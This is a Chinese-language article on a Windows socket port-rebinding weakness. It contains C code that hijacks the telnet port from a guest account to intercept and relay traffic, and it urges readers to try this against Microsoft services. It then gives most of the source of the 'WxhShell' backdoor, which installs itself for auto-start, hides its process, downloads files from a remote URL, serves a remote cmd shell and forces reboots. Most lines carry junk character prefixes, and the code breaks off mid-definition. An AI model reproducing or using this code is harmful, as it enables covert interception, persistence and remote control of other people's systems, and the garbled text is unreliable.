在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
: cp s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
i~qfGl p6) .6T6 S
v saddr.sin_family = AF_INET;
"EftN5?/ :h";c" saddr.sin_addr.s_addr = htonl(INADDR_ANY);
<R1X\s. m$y]Lf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
p {%t q$}. F'J [y"~_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
'zgvQMu 't>r
sp+# 这意味着什么?意味着可以进行如下的攻击:
lUh*?l w.kCBDL 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
J me% )wf\F6jN 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
V"d=.Hb> <d$A)S};W 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
iH)Nk^ P6?0r_Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!eD+GDgE] L{ ^4DznI 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
T'rjh"C&| O25mkX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%]Cjhs"v V;9 }7mw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<lFY7'aY m7 XjP2 #include
IKf`[_,t] #include
)bWrd$X #include
j.c8}r& #include
L]zNf71RD DWORD WINAPI ClientThread(LPVOID lpParam);
Rlc$;Z9K int main()
rpU/s@%L {
LR$z0rDEM WORD wVersionRequested;
E5x]zXy4 DWORD ret;
shi
Hy*(v WSADATA wsaData;
dl/X."iv! BOOL val;
;A^K_w' SOCKADDR_IN saddr;
|"}4*V_ * SOCKADDR_IN scaddr;
q6[}ydV int err;
P79R~m` SOCKET s;
M4<+%EV} SOCKET sc;
kr_oUXiX int caddsize;
I($,9|9F HANDLE mt;
yU`:IMz DWORD tid;
5t'Fv<g wVersionRequested = MAKEWORD( 2, 2 );
lIDl1Z@Z err = WSAStartup( wVersionRequested, &wsaData );
QN 0r E@a if ( err != 0 ) {
3YTIH2z5 printf("error!WSAStartup failed!\n");
;mJkqbVol return -1;
8gpB z'/, }
2lz
{_9 saddr.sin_family = AF_INET;
NV!4(_~ Hhf72IX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^HFo3V
}h q,,j',8kq/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(UW6F4:$ saddr.sin_port = htons(23);
Gc5VQ^] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
IvSn>o {
FX 1C
e printf("error!socket failed!\n");
7s]Wq6 return -1;
]%XK)[:5_= }
^('cbl val = TRUE;
?Leyz //SO_REUSEADDR选项就是可以实现端口重绑定的
(@?eLJlT if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
2}`R"MeS {
}1rvM4{/+f printf("error!setsockopt failed!\n");
(n=Aa; return -1;
V
[4n'LcE }
DNho%Xk //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Q eK{MF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
T 'i~_R6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
o4'v> b .wri5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
H0tF {
9UmBm#" ret=GetLastError();
>x?2Fz. printf("error!bind failed!\n");
\L#QR return -1;
>r:X~XnRUj }
Kfd _uXL> listen(s,2);
NTVHnSoHh while(1)
lu3.KOD/ {
foyB{6q8 caddsize = sizeof(scaddr);
{*__B} ,N //接受连接请求
|J?:91
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#L1>dHhat if(sc!=INVALID_SOCKET)
FAd``9kRT {
zn[QvY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
.P%ym~S if(mt==NULL)
4@))OD^ x {
KZi'v6 printf("Thread Creat Failed!\n");
:tlE`BIp break;
Z%;)@0~f }
) BlJ|M }
*zSxG[s CloseHandle(mt);
3*2I$e!Jt }
GRQ_+K closesocket(s);
Ge~,[If+ WSACleanup();
|Pf(J;'[ return 0;
7%tR&F -u }
Q%M_ DWORD WINAPI ClientThread(LPVOID lpParam)
Z*h ;e; {
_y-B";Vmm
SOCKET ss = (SOCKET)lpParam;
uA^hCh-js SOCKET sc;
4[(?L{ unsigned char buf[4096];
Lv3XYZgW~ SOCKADDR_IN saddr;
Q4CJ]J` long num;
6ZTaQPtm DWORD val;
yI:r7=KO DWORD ret;
vh{9'vd3el //如果是隐藏端口应用的话,可以在此处加一些判断
[lOf|^9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
@jKDj]\ saddr.sin_family = AF_INET;
~ ;XYwQ" saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
>Pyc[_j saddr.sin_port = htons(23);
a.CF9m5]c if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
D8EeZUqU {
,P!D-MN$V printf("error!socket failed!\n");
bm^X!i5 return -1;
>.LgsMRIKi }
RCQAtBd val = 100;
/+N|X if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~r PYJ {
lJlZHO ret = GetLastError();
drs-mt8 return -1;
(>mi!: }
UIz:=DJ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'6+Edu~Ho) {
?;+ ^ ret = GetLastError();
p}&Md-$1 return -1;
y]<#%Fh }
s`r-v/3l if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Ia'x]#~ {
;raz6DRO printf("error!socket connect failed!\n");
w)^\_uAlS closesocket(sc);
OZa88& closesocket(ss);
]ZDTn return -1;
">4PePt.n }
AzxL%,_ while(1)
"0b?+ 3_{G {
x'zihDOI //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@~s~/[ //如果是嗅探内容的话,可以再此处进行内容分析和记录
h)^dB,~ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
-E}>h[;qZ num = recv(ss,buf,4096,0);
au,jAk if(num>0)
}2h't.Z<u send(sc,buf,num,0);
Q%I#{+OT else if(num==0)
hR!}u}ECd break;
487YaioB$ num = recv(sc,buf,4096,0);
;m''9z)2 if(num>0)
E*OG-r send(ss,buf,num,0);
YsZ{1W else if(num==0)
!e&rVoA break;
i,([YsRuou }
eQ$e*|}"m closesocket(ss);
{:,_A closesocket(sc);
0hFH^2%UY return 0 ;
|.Em_*VG }
Z@}sCZ=#A %v_IX2' @81-kdTx ==========================================================
AvyQ4xim+ 6$;L]<$W> 下边附上一个代码,,WXhSHELL
=l_rAj~I| {=s:P|ah ==========================================================
Z(KmS( qFrt^+@ #include "stdafx.h"
oHOW5 xC[~Fyhp #include <stdio.h>
I88Zrhw #include <string.h>
L+8=P<] #include <windows.h>
UlnyTz~ #include <winsock2.h>
;i.I&*t #include <winsvc.h>
*}>Bkq9h #include <urlmon.h>
;]{{)dst PEfE'lGj #pragma comment (lib, "Ws2_32.lib")
^p$1D #pragma comment (lib, "urlmon.lib")
L{Q4=p,A sTt9'P` #define MAX_USER 100 // 最大客户端连接数
>_-!zjO8u #define BUF_SOCK 200 // sock buffer
|3S'8OeCI #define KEY_BUFF 255 // 输入 buffer
IhUW=1&J ,GP!fsK #define REBOOT 0 // 重启
L'13BRu` #define SHUTDOWN 1 // 关机
K*HCFqrU" 4sb )^3T #define DEF_PORT 5000 // 监听端口
.F4oo = =Na/3\^WP #define REG_LEN 16 // 注册表键长度
+mivqR~{{ #define SVC_LEN 80 // NT服务名长度
:G^"e 3T"#T&eL // 从dll定义API
>vHH typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
qe[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
4pLQ"&>}80 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
xy$vYDAFw typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
]}p2Tp;1 ,wEM
Jh // wxhshell配置信息
ZyHIMo| struct WSCFG {
5LO4P>fq int ws_port; // 监听端口
cT_uJbP+ char ws_passstr[REG_LEN]; // 口令
j \!~9 int ws_autoins; // 安装标记, 1=yes 0=no
U&,r4>V@h> char ws_regname[REG_LEN]; // 注册表键名
6
M*b 6 char ws_svcname[REG_LEN]; // 服务名
r4 9UJE char ws_svcdisp[SVC_LEN]; // 服务显示名
?68$3; char ws_svcdesc[SVC_LEN]; // 服务描述信息
Sc% aJ1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
/z/hUa int ws_downexe; // 下载执行标记, 1=yes 0=no
|.y>[+Qb* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
L& I`
# char ws_filenam[SVC_LEN]; // 下载后保存的文件名
b;Hm\aK :/>7$)+ };
I%pCm||p |)28=Z|Z // default Wxhshell configuration
N{ : [/ struct WSCFG wscfg={DEF_PORT,
#:]vUQ "xuhuanlingzhe",
DhY;pG,t 1,
jAA'hA "Wxhshell",
{'h)
"Wxhshell",
c zZrP" "WxhShell Service",
I h5/=_n "Wrsky Windows CmdShell Service",
:|?~B%-p[ "Please Input Your Password: ",
X
QI.0L" 1,
dK:l&R "
http://www.wrsky.com/wxhshell.exe",
NnJ>0|74g "Wxhshell.exe"
WH{cJ7wCL };
\#uqD\DE +A'}PXm*tu // 消息定义模块
CbnR<W-j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5JQd)[Im char *msg_ws_prompt="\n\r? for help\n\r#>";
`K$:r4/[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
bq c;.4$ char *msg_ws_ext="\n\rExit.";
h{Oz*Bq char *msg_ws_end="\n\rQuit.";
Sja"(sJ char *msg_ws_boot="\n\rReboot...";
J% :WLQo char *msg_ws_poff="\n\rShutdown...";
Z|]l"W*w char *msg_ws_down="\n\rSave to ";
UeMnc 5y #rh0r` char *msg_ws_err="\n\rErr!";
!JT<(I2 char *msg_ws_ok="\n\rOK!";
9QX&7cs&[ EZ:I$X char ExeFile[MAX_PATH];
d [\>'> int nUser = 0;
L@C >-F|p HANDLE handles[MAX_USER];
#cw!
& int OsIsNt;
sqm%iyC=q A>qd2 SERVICE_STATUS serviceStatus;
RA*_&Ll&!C SERVICE_STATUS_HANDLE hServiceStatusHandle;
M3hy5j(b ?whRlh // 函数声明
VFe-#"0ZO int Install(void);
2z.k)Qx!Z int Uninstall(void);
^AovkK(p int DownloadFile(char *sURL, SOCKET wsh);
#nU@hOfg int Boot(int flag);
Wwn5LlJ^ void HideProc(void);
~J8cS int GetOsVer(void);
$=\oJ-(!@S int Wxhshell(SOCKET wsl);
W)6U6 void TalkWithClient(void *cs);
;y:#S^|?-z int CmdShell(SOCKET sock);
<ol$-1l#9 int StartFromService(void);
/.pa
??u int StartWxhshell(LPSTR lpCmdLine);
^ %~Et>C y}(_SU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
X;K8,A7` VOID WINAPI NTServiceHandler( DWORD fdwControl );
>GdLEE'w \_iH4<#> // 数据结构和表定义
7VEt4 SERVICE_TABLE_ENTRY DispatchTable[] =
5O;/ lX!u {
d+gk q\ {wscfg.ws_svcname, NTServiceMain},
OGSEvfW {NULL, NULL}
Ktg&G<%J0 };
1G e)p4 Y;a6:>D%cT // 自我安装
pHI%jHHJ int Install(void)
:vn0|7W4 {
UQC'(>.} char svExeFile[MAX_PATH];
w\0Oz?N HKEY key;
y)N.LS strcpy(svExeFile,ExeFile);
asm[-IB2u DI$mD{ // 如果是win9x系统,修改注册表设为自启动
[8V(N2
if(!OsIsNt) {
"Qiq/"h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#Pe\Z/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2:smt)f RegCloseKey(key);
9m<X-B&P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
B`RW-14g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y1@"H/nYJ RegCloseKey(key);
% xH>0 return 0;
,iA2si }
=$:4v`W0( }
)_x8?:lv }
0C9QAJa else {
6Dr$*9 U 8qKD // 如果是NT以上系统,安装为系统服务
;-<<1Jz/2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
mCEKEX if (schSCManager!=0)
8KtF<`A) {
p ] $ SC_HANDLE schService = CreateService
S`'uUvAA (
Ggxrj'r schSCManager,
BIb{<tG^N wscfg.ws_svcname,
(rY1O:*S wscfg.ws_svcdisp,
6`$,-(J= SERVICE_ALL_ACCESS,
EF_h::A_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
OTy4"% SERVICE_AUTO_START,
`#IT24! SERVICE_ERROR_NORMAL,
W~W?<%@ svExeFile,
*aSR KY NULL,
T$>=+U NULL,
K|Ij71 NULL,
*y[~kWI NULL,
H)?" 8 s NULL
]0/~6f
);
V,"AG if (schService!=0)
'3Lx!pMhN {
%n V@'3EI CloseServiceHandle(schService);
( .6tz CloseServiceHandle(schSCManager);
5. +$v4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
aaqjE
strcat(svExeFile,wscfg.ws_svcname);
*$WiJ3'(m if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
G`3vH, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
+Fy-~Mq RegCloseKey(key);
]i_):@ return 0;
LcQ\?]w`] }
ND99g }
0ghwFo CloseServiceHandle(schSCManager);
se*pkgWbz }
.+yJh }
cbg3bi "_% 0|; return 1;
PauFuzPP }
#L1yL<' ={&TeMMA // 自我卸载
@Ig,_i\UY: int Uninstall(void)
&55uT;7] a {
=f{Z~`3 HKEY key;
H 29 _ / ="[+6X if(!OsIsNt) {
YM,D`c[pX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;R-
z3C RegDeleteValue(key,wscfg.ws_regname);
}O-%kl RegCloseKey(key);
1J!tcj1( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5G]#'tu RegDeleteValue(key,wscfg.ws_regname);
D4x' RegCloseKey(key);
dT0z^SG return 0;
0UAr}H.: }
ph|2lLZ }
5xn0U5U }
zDQ\PZ~ else {
0"D?.E"$r rj`.hXO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
G%x,t- if (schSCManager!=0)
K+aJ`V {
Q*{ H] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
-iZ js if (schService!=0)
CB7R{~
$ {
^
8Nr %NJ if(DeleteService(schService)!=0) {
eB1eUK> CloseServiceHandle(schService);
HpgN$$\@ CloseServiceHandle(schSCManager);
Vm5P@RU$w; return 0;
f~(^|~ZT }
oY#XWe8Om CloseServiceHandle(schService);
TY{?4 }
$@
#G+QQ_ CloseServiceHandle(schSCManager);
(^OC%pc }
>!ZyykAs }
{10+(Vl Y&!McM!Jw return 1;
5'}!v }
F@*r%[S/ FK,r<+h // 从指定url下载文件
0BU:(o& int DownloadFile(char *sURL, SOCKET wsh)
]H@uuPT! {
98%a)s)(a HRESULT hr;
Q,LWZw~" char seps[]= "/";
L[9+xK^g char *token;
f>JzG,- char *file;
ki/Lf4 char myURL[MAX_PATH];
fVe-esAw char myFILE[MAX_PATH];
iF2IR{h &T4Cn@ strcpy(myURL,sURL);
sT8kVN|Uv token=strtok(myURL,seps);
LSOwa while(token!=NULL)
3 mMdq*X5 {
Ra,on&OP`* file=token;
O8}s*} ] token=strtok(NULL,seps);
Y&Nv>o_}5 }
Z-r0
D o~z.7q GetCurrentDirectory(MAX_PATH,myFILE);
'{_tDboY strcat(myFILE, "\\");
gQzF C&g strcat(myFILE, file);
IaZAP send(wsh,myFILE,strlen(myFILE),0);
G}OrpPP send(wsh,"...",3,0);
6/[h24d hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
mgl'
d if(hr==S_OK)
'k) P(H return 0;
HrcnyQ`Q0 else
78}%{7YY return 1;
=:T:9Y_ i ,PtR^" Mf4 }
Czl 8Q oH "+OMo-<K7 // 系统电源模块
e@MCumc~+ int Boot(int flag)
X!'Xx8 {
(Y?yGq/ HANDLE hToken;
ZXRN?b TOKEN_PRIVILEGES tkp;
S %%qn Vf2!0 if(OsIsNt) {
wZolg~dg OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
-^%"w LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
RB
0j!H: tkp.PrivilegeCount = 1;
= ~R3*GN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
>?\ !k
c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
O4+w2'., if(flag==REBOOT) {
p~y
4q4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
yOm6HA``hT return 0;
k$mX81 }
[&59n,R` else {
aQ3vG08L> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
iw6M3g# return 0;
x~I1(l7r }
JC-yiORVr }
HCCp<2D"C else {
h!3Z%M if(flag==REBOOT) {
0>J4O:k if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
o?x|y return 0;
W5yu`Br }
9d|7#)a; else {
gM:oP. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[<yUq zm return 0;
{;gWn'aq }
@MVZy }
DWO:
r3K: return 1;
*8HxJ+[,[ }
[?(W7 O-m}P // win9x进程隐藏模块
=njj.<BO void HideProc(void)
x}24?mP {
zTzG&B- Q9
", HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
~|jy$*m4A if ( hKernel != NULL )
.Zm } {
S`-IQ,*} pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
0To
5|r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
u+I3VK_) FreeLibrary(hKernel);
c_=zd6 b$S }
rW .0_* Ft>8 YYyU return;
l"g%vS,;` }
"TCbO`mg e 2&i // 获取操作系统版本
f)fw87UPc int GetOsVer(void)
alD|-{Bf {
>}tG^ )os OSVERSIONINFO winfo;
66;O 3g' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
R9HS%O6b6 GetVersionEx(&winfo);
e/%YruzS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
rx)Q] return 1;
rkXSygb else
X0L{#U return 0;
O }
gpl!Iz~5 2o}FB\4^i // 客户端句柄模块
2(x KE_| int Wxhshell(SOCKET wsl)
5,fzB~$TX( {
&~i
&~AJ SOCKET wsh;
0{uX2h struct sockaddr_in client;
.;Yei6H DWORD myID;
AE~}^(G`
<T9m.:l while(nUser<MAX_USER)
{[# {
!7|9r$ int nSize=sizeof(client);
7t/SZm wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
RGOwm~a if(wsh==INVALID_SOCKET) return 1;
T!$HVHh&,} LZ$!=vg4 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Qk?Jy<Ra if(handles[nUser]==0)
x$4'a~E closesocket(wsh);
XAkl,Y else
3mpjSL nUser++;
_3JTHf<+ }
CKx}.<_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
6d6SP)|j M6n.uho/ return 0;
I#%-A }
I<f M8t.Y> &KwtvUN{ // 关闭 socket
epe}^Pl void CloseIt(SOCKET wsh)
Q4 S8NqE {
JE!Xf}nEi closesocket(wsh);
~<-h# B nUser--;
SJe;T ExitThread(0);
4\iQ%fb }
;bmd<1 Ml
^Tb# // 客户端请求句柄
w Nnb@ void TalkWithClient(void *cs)
o$;x[US {
6jA Q 4Yk(ldR~ SOCKET wsh=(SOCKET)cs;
j'cS_R char pwd[SVC_LEN];
1NJ|%+I char cmd[KEY_BUFF];
' JVvL char chr[1];
3Q;l*xu int i,j;
Er`PYE
J gE#,QOy while (nUser < MAX_USER) {
}2"k:-g nIT=/{oyi if(wscfg.ws_passstr) {
y+<HS]vyV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n_Dhq (. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;anG
F0x //ZeroMemory(pwd,KEY_BUFF);
|M&/(0 i=0;
[sRQd;+ while(i<SVC_LEN) {
6IH^rSUSK
su$juI{ // 设置超时
UNae&Zir fd_set FdRead;
2sH5<5G' struct timeval TimeOut;
.`9KB3 FD_ZERO(&FdRead);
xR3A4m FD_SET(wsh,&FdRead);
"a7d`l: TimeOut.tv_sec=8;
:7zI!edu TimeOut.tv_usec=0;
64cmv}d _ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;2~Q97c0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;DpK*A pe-d7Ou
P if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
-W,b*U pwd
=chr[0]; ~heF0C_
if(chr[0]==0xd || chr[0]==0xa) { bzS [X
pwd=0; a gzG
break; YXEZ&$e'
} jXQ_7
i++; Q)/q h;Ru
} i)ctrdP-
=r2d{
// 如果是非法用户,关闭 socket ?aui q
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fyeS)
} mBF?+/l
&3efJ?8
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7Fx8&Z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U ;/ )V
@AFLF X]
while(1) { J^T66}r[f,
*W
l{2&
ZeroMemory(cmd,KEY_BUFF); Pa*yo:U'h
`y(3:##p
// 自动支持客户端 telnet标准 n1|%xQBU@
j=0; hkY E7
while(j<KEY_BUFF) { Fu$otMw%l
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A
[JV*Dt
cmd[j]=chr[0]; qA42f83
if(chr[0]==0xa || chr[0]==0xd) { `:&{/|uP7
cmd[j]=0; YH9BJ
break; KK}&4^q
} B5hGzplS
j++; bPEAG=l "-
} rm7UFMCR6i
ORO~(%-(e
// 下载文件 5sH ee,
if(strstr(cmd,"http://")) { *MNY1+RJ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); C*$/J\6xy
if(DownloadFile(cmd,wsh)) G[mYx[BTz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6=FuH@Q&
else G(-
`FH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wFD.3!
} 0;9LIL5
else { 9bB~r[k
&}oDSD
H^,
switch(cmd[0]) { sgX~4W"J
K(?7E6\vO
// 帮助 TL5bX+
case '?': { #{(rOb6H)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 711z-
break; Kt-@a%O0
} <Aa%Uwpc
// 安装 Je'$V%{E
case 'i': { :MpCj<<[
if(Install()) n1ICW 9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @'QB rE
else 7Vi[I< *
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o7 kGZ
break; g!8-yri
} +hfl.OBy
// 卸载 ;O CYx[|
case 'r': { G8SJ<\?
if(Uninstall()) a?;{0I:Ln
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PrCq
JY
else pd|s7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Ah4N2nL-b
break; JkKI/5h
} nm)F tX|A
// 显示 wxhshell 所在路径 CAX U
#
case 'p': { Bn.8wMB
char svExeFile[MAX_PATH]; /1Eg6hf9B
strcpy(svExeFile,"\n\r"); 8WvT0q>]
strcat(svExeFile,ExeFile); }\@*A1*X2
send(wsh,svExeFile,strlen(svExeFile),0); ~Oq(JM
$M
break; '&`Zy pq
} K
\O,AE
// 重启 NH{0KZ
R
case 'b': { uJ[dO}
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \Tc$P#
if(Boot(REBOOT)) S&a44i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uwbj`lpf
else { 7"gy\_M
closesocket(wsh); t((0]j^
ExitThread(0); vm(% u!_P
} X/Ae-1!
break; :G!Kaa,r
} lHx$F?
// 关机 ]'"$qm:
case 'd': { (qaY,>je]D
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wm}i+ApK
if(Boot(SHUTDOWN)) A >e%rx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 1Ru@
else { N-^\e)ln
closesocket(wsh); j,~h:MT
ExitThread(0); %l>^q`p
} D~-Ri`k.
break; p%}oo#%J
} ZY83,:<
// 获取shell *_ "j"{
case 's': { pvX\kX3}
CmdShell(wsh); $zJ.4NA
closesocket(wsh); )msqt!Ev
ExitThread(0); :5ji.g* 0
break; r!;NH3 *
} x{=ty*E
// 退出 +;vfn>^!b
case 'x': { /V,:gLpQ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7y:J@fh<
CloseIt(wsh); 5[0n'uH
break; wL:3RZB
} 8^O|Aa$IF:
// 离开 4YKb~1qkk
case 'q': { Gv<K#@9T
send(wsh,msg_ws_end,strlen(msg_ws_end),0); E0GpoG5C
closesocket(wsh); Pd>hd0!.%
WSACleanup(); <@oK^ja
exit(1); 2 Y%$6NX
break; A;h~Fx6s
} :}Z+K*%o-
} s{gdTG6v`
} -\>Xtix^-c
v,kedKcxv'
// 提示信息 ~}uTC36C\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4re^j4L~o
} 0%v
p'v
} n]|[|Rf1
q
K]Wk+
return; =E{1QA0
} QH+Oi&xH
"S1+mSW>
// shell模块句柄 ibEQ5 2
int CmdShell(SOCKET sock) |Kb-oM&^#
{ ~/QzL.S;p
STARTUPINFO si; HJwj,SL
ZeroMemory(&si,sizeof(si)); kFeuKSa^d
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hMdsR,Iq
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OD{Rh(Id
PROCESS_INFORMATION ProcessInfo; h" j{B
char cmdline[]="cmd"; 1SQ&mH/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9"&HxyOfX
return 0; z[l17+v
} ;+cZS=
w
J; y4
// 自身启动模式 8$S$*[-a
int StartFromService(void) _Nlx)Y R
{ gzxLHPiw
typedef struct LvB -%@n
{ =xg pr*
DWORD ExitStatus; DT;Hr4Z8^"
DWORD PebBaseAddress; ^IY1^x
DWORD AffinityMask; hmQD-E{Ab
DWORD BasePriority; _ u/N#*D
ULONG UniqueProcessId; *ZAue.
ULONG InheritedFromUniqueProcessId; {R\ "x|
